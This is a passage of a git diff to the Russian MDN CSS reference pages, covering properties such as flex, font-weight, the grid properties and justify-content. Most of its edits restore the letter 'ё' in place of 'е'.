a/files/ru/web/css/flex/index.html b/files/ru/web/css/flex/index.html index a0a28a86d8..e490167e82 100644 --- a/files/ru/web/css/flex/index.html +++ b/files/ru/web/css/flex/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/flex <h2 id="Описание">Описание</h2> -<p>Свойство <a href="/ru/docs/CSS" title="CSS">CSS</a> <strong><code>flex</code></strong> - это <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">сокращенное свойство</a>, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow">flex-grow</a>, <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-basis"> flex-basis</a>.</p> +<p>Свойство <a href="/ru/docs/CSS" title="CSS">CSS</a> <strong><code>flex</code></strong> - это <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">сокращённое свойство</a>, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow">flex-grow</a>, <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-basis"> flex-basis</a>.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/float/index.html b/files/ru/web/css/float/index.html index d14d73e420..340654bd11 100644 --- a/files/ru/web/css/float/index.html +++ b/files/ru/web/css/float/index.html @@ -3,7 +3,7 @@ title: float slug: Web/CSS/float translation_of: Web/CSS/float --- -<div>Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещен вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}</div> +<div>Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещён вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}</div> <h2 id="Summary">Summary</h2> diff --git a/files/ru/web/css/font-family/index.html b/files/ru/web/css/font-family/index.html index 79b25a5265..44df7fc34e 100644 --- a/files/ru/web/css/font-family/index.html +++ b/files/ru/web/css/font-family/index.html @@ -49,7 +49,7 @@ font-family: unset; <p>Свойство <code>font-family</code> получает список из одного или более семейства шрифтов, разделённые запятыми. Каждое семейство шрифтов определяется как <code><a href="#<family-name>"><family-name></a></code> или <code><a href="#<generic-name>"><generic-name></a></code>.</p> -<p>В приведенном ниже примере перечислены два семейства шрифтов, первое <code><a href="#<family-name>"><family-name></a></code>, а второе как <code><generic-name></code>:</p> +<p>В приведённом ниже примере перечислены два семейства шрифтов, первое <code><a href="#<family-name>"><family-name></a></code>, а второе как <code><generic-name></code>:</p> <pre class="brush: css">font-family: Gill Sans Extrabold, sans-serif;</pre> diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html index f8545cc836..0415ac37bb 100644 --- a/files/ru/web/css/font-variant-ligatures/index.html +++ b/files/ru/web/css/font-variant-ligatures/index.html @@ -35,18 +35,18 @@ font-variant-ligatures: unset; <dl> <dt><code>normal</code></dt> - <dd>Это ключевое слово ведет к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.</dd> + <dd>Это ключевое слово ведёт к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.</dd> <dt><code>none</code></dt> <dd>Это ключевое слово устанавливает, что все лигатуры и контекстные формы отключены, даже распространенные.</dd> <dt><<em>common-lig-values></em></dt> - <dd>Эти значения контролируют наиболее распространенные лигатуры, такие как лигатуры для сочетаний <code>fi</code>, <code>ffi</code>, <code>th</code> или подобных. Они относятся к значениям <code>liga</code> и <code>clig</code> в OpenType. Допустимы два значения: + <dd>Эти значения контролируют наиболее распространённые лигатуры, такие как лигатуры для сочетаний <code>fi</code>, <code>ffi</code>, <code>th</code> или подобных. Они относятся к значениям <code>liga</code> и <code>clig</code> в OpenType. Допустимы два значения: <ul> <li><code>common-ligatures</code> активирует эти лигатуры. Обратите внимание, что ключевое слово <code>normal</code> активирует лигатуры.</li> <li><code>no-common-ligatures</code> отключает эти лигатуры.</li> </ul> </dd> <dt><<em>discretionary-lig-values</em>></dt> - <dd><span class="tlid-translation translation" lang="ru"><span title="">Эти значения управляют определенными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта.</span> <span title="">Они соответствуют значениям OpenType <code>hlig</code></span></span>. Доступны два значения: + <dd><span class="tlid-translation translation" lang="ru"><span title="">Эти значения управляют определёнными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта.</span> <span title="">Они соответствуют значениям OpenType <code>hlig</code></span></span>. Доступны два значения: <ul> <li><code>discretionary-ligatures</code> активирует данные лигатуры.</li> <li><code>no-discretionary-ligatures</code> деактивирует лигатуры. Обратите внимание, обычно, ключевое слово <code>normal</code> также деактивирует лигатуры.</li> diff --git a/files/ru/web/css/font-weight/index.html b/files/ru/web/css/font-weight/index.html index 386ede4092..1c15a5c863 100644 --- a/files/ru/web/css/font-weight/index.html +++ b/files/ru/web/css/font-weight/index.html @@ -132,7 +132,7 @@ font-weight: unset; <h3 id="Определение_веса_имени">Определение веса имени</h3> -<p>Значения от 100 до 900, примерно, соответствуют следующим распространенным именам насыщенности:</p> +<p>Значения от 100 до 900, примерно, соответствуют следующим распространённым именам насыщенности:</p> <table class="standard-table"> <thead> @@ -176,14 +176,14 @@ font-weight: unset; </tr> <tr> <td><code>900</code></td> - <td>Черный (Густой) Black (Heavy)</td> + <td>Чёрный (Густой) Black (Heavy)</td> </tr> </tbody> </table> <h3 id="Интерполяция">Интерполяция</h3> -<p>Значения <code>font-weight</code> интерполируются с помощью дискретных шагов (кратные 100). <span id="result_box" lang="ru"><span class="hps">Интерполяция</span> <span class="hps">происходит в действительном пространстве чисел</span> <span class="hps">и превращается</span> <span class="hps">в целое число путем</span> <span class="hps">округления до</span> <span class="hps">ближайшего числа, кратного</span> <span class="hps">100,</span> <span class="hps">со значениями</span> <span class="alt-edited hps">посредине между</span> <span class="alt-edited hps">кратными 100</span> <span class="alt-edited hps">округленными</span> <span class="alt-edited hps">в сторону</span> <span class="hps">положительной бесконечности</span><span>.</span></span></p> +<p>Значения <code>font-weight</code> интерполируются с помощью дискретных шагов (кратные 100). <span id="result_box" lang="ru"><span class="hps">Интерполяция</span> <span class="hps">происходит в действительном пространстве чисел</span> <span class="hps">и превращается</span> <span class="hps">в целое число путём</span> <span class="hps">округления до</span> <span class="hps">ближайшего числа, кратного</span> <span class="hps">100,</span> <span class="hps">со значениями</span> <span class="alt-edited hps">посредине между</span> <span class="alt-edited hps">кратными 100</span> <span class="alt-edited hps">округлёнными</span> <span class="alt-edited hps">в сторону</span> <span class="hps">положительной бесконечности</span><span>.</span></span></p> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -214,7 +214,7 @@ p { } /* Назначение тексту элемента <div> жирности, которая больше на два уровня, -чем normal, но все еще меньше, чем стандартный bold. */ +чем normal, но все ещё меньше, чем стандартный bold. */ div { font-weight: 600; } diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html index dc3278e054..329684753a 100644 --- a/files/ru/web/css/font/index.html +++ b/files/ru/web/css/font/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/font -<p>Как и с любым сокращенным свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращенных свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью <code>font</code>, но они также сбрасываются к своим начальным значениям.</p> +<p>Как и с любым сокращённым свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращённых свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью <code>font</code>, но они также сбрасываются к своим начальным значениям.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/grid-area/index.html b/files/ru/web/css/grid-area/index.html index dcbbae226f..2712892e54 100644 --- a/files/ru/web/css/grid-area/index.html +++ b/files/ru/web/css/grid-area/index.html @@ -3,7 +3,7 @@ title: grid-area slug: Web/CSS/grid-area translation_of: Web/CSS/grid-area --- -<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">CSS свойство </span></font><strong>grid-area</strong></code> - это <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращенная форма записи</a> для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задает края {{glossary("grid areas", "грид-области")}} грид-элемента.</p> +<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">CSS свойство </span></font><strong>grid-area</strong></code> - это <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращённая форма записи</a> для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задаёт края {{glossary("grid areas", "грид-области")}} грид-элемента.</p> <pre class="brush: css no-line-numbers">/* Ключевые слова в качестве значений */ grid-area: auto; @@ -30,7 +30,7 @@ grid-area: initial; grid-area: unset; </pre> -<p>Если заданы четыре значения <code><grid-line></code> , то первое значение определяет <code>grid-row-start</code> , второе значение - <code>grid-column-start</code> , третье значение - <code>grid-row-end</code> и четвертое значение - <code>grid-column-end</code>.</p> +<p>Если заданы четыре значения <code><grid-line></code> , то первое значение определяет <code>grid-row-start</code> , второе значение - <code>grid-column-start</code> , третье значение - <code>grid-row-end</code> и четвёртое значение - <code>grid-column-end</code>.</p> <p>Если <code>grid-column-end</code> опущено, а <code>grid-column-start</code> в значении {{cssxref("<custom-ident>")}}, <code>grid-column-end</code> устанавливается в это значение <code><custom-ident></code>; иначе оно устанавливается в значение <code>auto</code>.</p> diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html index 35d6789975..226db2bb76 100644 --- a/files/ru/web/css/grid-auto-flow/index.html +++ b/files/ru/web/css/grid-auto-flow/index.html @@ -35,9 +35,9 @@ grid-auto-flow: unset; <dl> <dt><code>row</code></dt> - <dd>Ключевое слово, указывающее размещать элементы, заполняя поочередно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.</dd> + <dd>Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.</dd> <dt><code>column</code></dt> - <dd>Ключевое слово, указывающее размещать элементы, заполняя поочередно каждый столбец и добавляя новые столбцы по мере необходимости.</dd> + <dd>Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждый столбец и добавляя новые столбцы по мере необходимости.</dd> <dt><code>dense</code></dt> <dd>Ключевое слово, указывающее заполнять элементами свободное пространство сетки. Это может привести к нарушению порядка, т.к. элементы будут выстраиваться не в соответствии со своим расположением, а в соответствии с размером.</dd> <dd><br> diff --git a/files/ru/web/css/grid-row-start/index.html b/files/ru/web/css/grid-row-start/index.html index 15559e4134..5817eef381 100644 --- a/files/ru/web/css/grid-row-start/index.html +++ b/files/ru/web/css/grid-row-start/index.html @@ -55,7 +55,7 @@ grid-row-start: unset; <p>В противном случае это обрабатывается так, как если бы целое число 1 было указано вместе с <code><custom-ident></code>.</p> </dd> <dt><code><integer> && <custom-ident>?</code></dt> - <dd>Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчет, начиная с конечного края явной сетки. Если имя задано как <custom-<code>ident</code>>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.</dd> + <dd>Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчёт, начиная с конечного края явной сетки. Если имя задано как <custom-<code>ident</code>>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.</dd> <dd> <p>An {{cssxref("integer")}} value of <code>0</code> is invalid.</p> </dd> diff --git a/files/ru/web/css/grid-template-areas/index.html b/files/ru/web/css/grid-template-areas/index.html index 6827415b30..3e9a83e744 100644 --- a/files/ru/web/css/grid-template-areas/index.html +++ b/files/ru/web/css/grid-template-areas/index.html @@ -33,7 +33,7 @@ grid-template-areas: unset; <dt><code>none</code></dt> <dd>Контейнер не определяет никаких названий grid-области.</dd> <dt><code>{{cssxref("<string>")}}+</code></dt> - <dd>Строка создается каждым переносом строки, тогда как каждая колонка создается в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создает одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.</dd> + <dd>Строка создаётся каждым переносом строки, тогда как каждая колонка создаётся в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создаёт одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html index fda2e71bb3..546a42ed31 100644 --- a/files/ru/web/css/grid-template-columns/index.html +++ b/files/ru/web/css/grid-template-columns/index.html @@ -59,9 +59,9 @@ grid-template-columns: unset; <dt><code>min-content</code></dt> <dd>Ключевое слово обозначающее самый большой из минимальных контентов элементов расположенных в данном треке.</dd> <dt><code>{{cssxref("minmax", "minmax(min, max)")}}</code></dt> - <dd>Функциональное обозначение, которое задает диапазон больший или равный <em>min</em> и меньший или равный <em>max</em>. Если <em>max</em> меньше чем <em>min</em>, тогда <em>max</em> игнорируется и эта функция рассматривается как <em>min</em>. Максимумом значение <code><flex></code> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.</dd> + <dd>Функциональное обозначение, которое задаёт диапазон больший или равный <em>min</em> и меньший или равный <em>max</em>. Если <em>max</em> меньше чем <em>min</em>, тогда <em>max</em> игнорируется и эта функция рассматривается как <em>min</em>. Максимумом значение <code><flex></code> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.</dd> <dt id="auto"><code>auto</code></dt> - <dd>Это ключевое слово идентично <code>max-content</code>, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определен в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.</dd> + <dd>Это ключевое слово идентично <code>max-content</code>, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определён в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.</dd> <dd> <p class="note">Обратите внимание: Только <code>auto</code> размеры трека могут быть растянуты свойствами {{cssxref("align-content")}} и {{cssxref("justify-content")}}.</p> </dd> diff --git a/files/ru/web/css/grid-template-rows/index.html b/files/ru/web/css/grid-template-rows/index.html index a6d1c4b36b..e4343f33b6 100644 --- a/files/ru/web/css/grid-template-rows/index.html +++ b/files/ru/web/css/grid-template-rows/index.html @@ -52,7 +52,7 @@ grid-template-rows: unset; <dt><code><length></code></dt> <dd>Неотрицательное значение размера.</dd> <dt><code><percentage></code></dt> - <dd>Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как <code>auto</code>. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учету процента.</dd> + <dd>Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как <code>auto</code>. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учёту процента.</dd> <dd><br> <strong>{{cssxref("<flex_value>","<flex>")}}</strong><br> Is a non-negative dimension with the unit <code>fr</code> specifying the track’s flex factor. Each <code><flex></code>-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a <code>minmax()</code> notation, it implies an automatic minimum (i.e. <code>minmax(auto, <flex>)</code>).</dd> diff --git a/files/ru/web/css/grid/index.html b/files/ru/web/css/grid/index.html index 5ae9d4a987..35d648aa50 100644 --- a/files/ru/web/css/grid/index.html +++ b/files/ru/web/css/grid/index.html @@ -10,9 +10,9 @@ translation_of: Web/CSS/grid --- <h2 id="Общие_сведения">Общие сведения</h2> -<p>Свойство CSS <strong><code>grid</code></strong> является сокращенной формой записи, которая устанавливает значения для всех явных свойств сетки (grid) ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.</p> +<p>Свойство CSS <strong><code>grid</code></strong> является сокращённой формой записи, которая устанавливает значения для всех явных свойств сетки (grid) ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.</p> -<p class="note"><strong>Note:</strong> В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращенных формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращенной формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращенной форме записи.</p> +<p class="note"><strong>Note:</strong> В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращённых формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращённой формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращённой форме записи.</p> <p>{{cssinfo}}</p> @@ -176,7 +176,7 @@ grid: unset; <p>[2] Реализован за преимуществом <code>layout.css.grid.enabled</code> начиная с Gecko 40.0 {{geckoRelease("40.0")}}, имея значение по умолчанию <code>false</code>. Начиная с Gecko 52.0 включено по умолчанию.</p> -<p>[3] Internet Explorer и Edge реализуют <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">старую версию спецификации</a>, которая не поддерживает сокращенную форму записи <code>grid. Смотри </code><a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">request for updating the implementation</a>.</p> +<p>[3] Internet Explorer и Edge реализуют <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">старую версию спецификации</a>, которая не поддерживает сокращённую форму записи <code>grid. Смотри </code><a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">request for updating the implementation</a>.</p> <p>[4] Реализован до функциональных возможностей экспериментальной веб-платформы в <code>chrome://flags</code> начиная с Opera 28.0.</p> diff --git a/files/ru/web/css/hanging-punctuation/index.html b/files/ru/web/css/hanging-punctuation/index.html index 15aee9db7b..b150404bab 100644 --- a/files/ru/web/css/hanging-punctuation/index.html +++ b/files/ru/web/css/hanging-punctuation/index.html @@ -37,7 +37,7 @@ hanging-punctuation: unset; <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>hanging-punctuation</code> может быть определено с помощью одного, двух или трех ключевых слов.</p> +<p>Свойство <code>hanging-punctuation</code> может быть определено с помощью одного, двух или трёх ключевых слов.</p> <ul> <li>Для <strong>одного значения</strong> может быть использовано любое из описанных ниже значений.</li> @@ -47,7 +47,7 @@ hanging-punctuation: unset; <li><code>last</code> вместе с одним из <code>first</code>, <code>allow-end</code> или <code>force-end</code></li> </ul> </li> - <li>Для <strong>трех значений</strong> используются один из следующих вариантов: + <li>Для <strong>трёх значений</strong> используются один из следующих вариантов: <ul> <li><code>first</code>, <code>allow-end</code> и <code>last</code></li> <li><code>first</code>, <code>force-end</code> и <code>last</code></li> diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html index 5a256e224d..6bf95b2456 100644 --- a/files/ru/web/css/hyphens/index.html +++ b/files/ru/web/css/hyphens/index.html @@ -53,7 +53,7 @@ hyphens: unset; <dl> <dt>U+2010 (HYPHEN)</dt> - <dd><font>«Жесткий» дефис указывает на возможность видимого разрыва строки. </font><font>Даже если строка в этом месте не переносится, дефис все равно отображается.</font></dd> + <dd><font>«Жёсткий» дефис указывает на возможность видимого разрыва строки. </font><font>Даже если строка в этом месте не переносится, дефис все равно отображается.</font></dd> <dt>U+00AD (SHY)</dt> <dd>Невидимый <font>«</font>мягкий<font>»</font> перенос. Этот символ не отображается визуально, вместо этого он отмечает место, где браузер должен разорвать слово, если расстановка переносов необходима. В HTML, используйте <code>&shy;</code> для вставки мягкого дефиса.</dd> </dl> diff --git a/files/ru/web/css/image-set()/index.html b/files/ru/web/css/image-set()/index.html index f837d98a4b..9f00bc8ca7 100644 --- a/files/ru/web/css/image-set()/index.html +++ b/files/ru/web/css/image-set()/index.html @@ -34,7 +34,7 @@ translation_of: Web/CSS/image-set() <h2 id="Вопросы_доступности">Вопросы доступности</h2> -<p>Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своем присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать ее семантически в документе.</p> +<p>Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своём присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать её семантически в документе.</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li> diff --git a/files/ru/web/css/index.html b/files/ru/web/css/index.html index 128ae1fda3..eb959f3866 100644 --- a/files/ru/web/css/index.html +++ b/files/ru/web/css/index.html @@ -8,7 +8,7 @@ tags: - Learning - Reference - Référence(2) - - Верстка + - Вёрстка - Главная - Дизайн - Справка diff --git a/files/ru/web/css/inherit/index.html b/files/ru/web/css/inherit/index.html index 5304dc4d9d..b24d30e524 100644 --- a/files/ru/web/css/inherit/index.html +++ b/files/ru/web/css/inherit/index.html @@ -24,10 +24,10 @@ translation_of: Web/CSS/inherit <h2 id="Пример">Пример</h2> -<pre class="brush: css">/* Делает заголовки второго уровня зелеными */ +<pre class="brush: css">/* Делает заголовки второго уровня зелёными */ h2 { color: green; } -/* ...но не делает зелеными элементы боковой панели, которые используют цвет своего родителя */ +/* ...но не делает зелёными элементы боковой панели, которые используют цвет своего родителя */ #sidebar h2 { color: inherit; } </pre> @@ -83,5 +83,5 @@ div#current { color: blue; } <li><code>Используйте {{cssxref("initial")}}, чтобы установить свойство в его начальное значение.</code></li> <li><code>Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.</code></li> <li><code>Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).</code></li> - <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.</code></li> + <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.</code></li> </ul> diff --git a/files/ru/web/css/initial/index.html b/files/ru/web/css/initial/index.html index 65187f0ab5..5bc7850151 100644 --- a/files/ru/web/css/initial/index.html +++ b/files/ru/web/css/initial/index.html @@ -79,5 +79,5 @@ em { <li><code>Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.</code></li> <li><code>Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).</code></li> <li>Используйте свойство {{cssxref("inherit")}}, чтобы установить свойство элемента таким же значением, как у его родителя.</li> - <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.</code></li> + <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.</code></li> </ul> diff --git a/files/ru/web/css/inset/index.html b/files/ru/web/css/inset/index.html index 8cbf51bf1d..88071325e5 100644 --- a/files/ru/web/css/inset/index.html +++ b/files/ru/web/css/inset/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/inset --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p>Свойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset</code></strong> определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определенных для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.</p> +<p>Свойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset</code></strong> определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определённых для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.</p> <pre class="brush:css no-line-numbers">/* <length> значения */ inset: 3px 10px 3px 10px; diff --git a/files/ru/web/css/integer/index.html b/files/ru/web/css/integer/index.html index c608250e6c..a7240a3e81 100644 --- a/files/ru/web/css/integer/index.html +++ b/files/ru/web/css/integer/index.html @@ -33,7 +33,7 @@ translation_of: Web/CSS/integer <pre class="example-bad">12.0 Это <number>, а не <integer>, хоть и представляется как целое число. 12. "Дробные" точки запрещены. -+---12 Разрешен только один предшествующий символ +/-. ++---12 Разрешён только один предшествующий символ +/-. десять Буквы запрещены. _5 Специальные знаки запрещены. \35 Экранированные символы Юникода запрещены, даже если они являются целым числом (здесь: 5). diff --git a/files/ru/web/css/isolation/index.html b/files/ru/web/css/isolation/index.html index 52deb89e55..7153c6f925 100644 --- a/files/ru/web/css/isolation/index.html +++ b/files/ru/web/css/isolation/index.html @@ -3,7 +3,7 @@ title: isolation slug: Web/CSS/isolation tags: - Контекст наложения - - Очередность + - Очерёдность - Порядок отрисовки translation_of: Web/CSS/isolation --- @@ -35,7 +35,7 @@ isolation: unset; <dl> <dt><code>auto</code></dt> - <dd>Новый контекст наложения создается только в том случае, если это требуется для одного из свойств, применяемых к элементу.</dd> + <dd>Новый контекст наложения создаётся только в том случае, если это требуется для одного из свойств, применяемых к элементу.</dd> <dt><code>isolate</code></dt> <dd>Новый контекст наложения должен быть создан.</dd> </dl> diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html index ab44ce45bb..33263a5442 100644 --- a/files/ru/web/css/justify-content/index.html +++ b/files/ru/web/css/justify-content/index.html @@ -14,7 +14,7 @@ translation_of: Web/CSS/justify-content <p>{{EmbedInteractiveExample("pages/css/justify-content.html")}}</p> -<p>Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox разметке</a> есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от <code>0</code>, эффект не будет применен, потому что не останется свободного места.</p> +<p>Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox разметке</a> есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от <code>0</code>, эффект не будет применён, потому что не останется свободного места.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,7 +32,7 @@ justify-content: baseline; justify-content: first baseline; justify-content: last baseline; -/* Распределенное выравнивание */ +/* Распределённое выравнивание */ justify-content: space-between; /* Равномерно распределяет все элементы по ширине flex-блока. Первый элемент вначале, последний в конце */ justify-content: space-around; /* Равномерно распределяет все элементы по ширине flex-блока. @@ -74,7 +74,7 @@ justify-content: unset; <dt><code>right</code></dt> <dd>Элементы располагаются друг за другом и прижимаются к правому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как <code>start</code>.</dd> <dt><code>normal</code></dt> - <dd>Элементы располагаются на своих обычных позициях, так как будто свойство <code>justify-content</code> не задано. Этот параметр ведет себя как <code>stretch</code> в grid и flex контейнерах.</dd> + <dd>Элементы располагаются на своих 